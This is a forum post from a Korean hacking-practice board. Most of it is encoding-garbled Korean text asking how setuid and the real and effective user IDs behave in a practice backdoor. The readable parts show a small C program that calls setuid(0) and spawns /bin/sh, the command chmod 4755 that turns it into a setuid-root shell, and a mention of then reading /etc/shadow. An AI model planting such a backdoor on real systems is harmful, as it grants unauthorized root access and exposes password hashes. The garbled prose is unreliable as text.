|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=4427 [º¹»ç]
Á¦°¡ ¿ìºÐÅõ¿¡¼ °£´ÜÇÑ ¹éµµ¾î¸¦ ¸¸µå´Â ½Ç½ÀÀ» Çϰí Àִµ¥¿ä.
root°èÁ¤À¸·Î ´ÙÀ½°ú °°Àº ÇÁ·Î±×·¥À» ®½À´Ï´Ù.
backdoor.cpp
int main() {
setuid(0);
system("/bin/sh");
}
±×´ÙÀ½ ÄÄÆÄÀÏ ÇÑ ÈÄ chmod 4755 backdoorÀ» ÇÏ¸é »ç¿ëÀÚ°¡ ÀÌ ÇÁ·Î±×·¥À» ½ÇÇàÇÒ °æ¿ì ·çÆ®±ÇÇÑÀ» ȹµæÇÏ°Ô µÈ´Ù....¶ó´Â°Çµ¥¿ä.
Á¦°¡ ±¸±Û¸µÇÑ ¹Ù·Î´Â, ÇÁ·Î±×·¥ ³»¿¡¼ ¶Ç´Ù¸¥ ÇÁ·Î±×·¥À» ½ÇÇà½Ã۸é EUID°¡ ¾Æ´Ñ RUID±ÇÇÑÀ¸·Î ÇÁ·Î±×·¥ÀÌ ½ÇÇàÀÌ µÇ¹Ç·Î setuid()¸¦ ÇÏÁö¾ÊÀ¸¸é root°¡ ¾Æ´Ñ »ç¿ëÀÚ°èÁ¤ÀÇ ½©ÀÌ ¶á´Ù°í Çϴµ¥, ¸·»ó Äڵ忡¼ setuid()¸¦ »©°í ÄÄÆÄÀÏÇØ¼ ½ÇÇàÇØº¸´Ï, ruid´Â È®½ÇÈ÷ »ç¿ëÀÚ°èÁ¤ÀÌÁö¸¸, euid°¡ root¿©¼ cat /etc/shadowµîµî ´Ù ÇÒ¼öÀÖ´õ¶ó°í¿ä.
setuid()¸¦ ³Ö¾î¼ ruid¸¦ root·Î º¯°æ½ÃÄѵµ, ¾îÂ÷ÇÇ ÇÁ·Î±×·¥ÀÌ Á¾·áµÇ¸é ´Ù½Ã »ç¿ëÀÚ°èÁ¤À¸·Î µ¹¾Æ°¡´Âµ¥ ±×·¯¸é setuid()¸¦ »ç¿ëÇÏ´Â Àǹ̰¡ ¹»±î¿ä...?
|
Hit : 3324 Date : 2016/08/02 03:18
|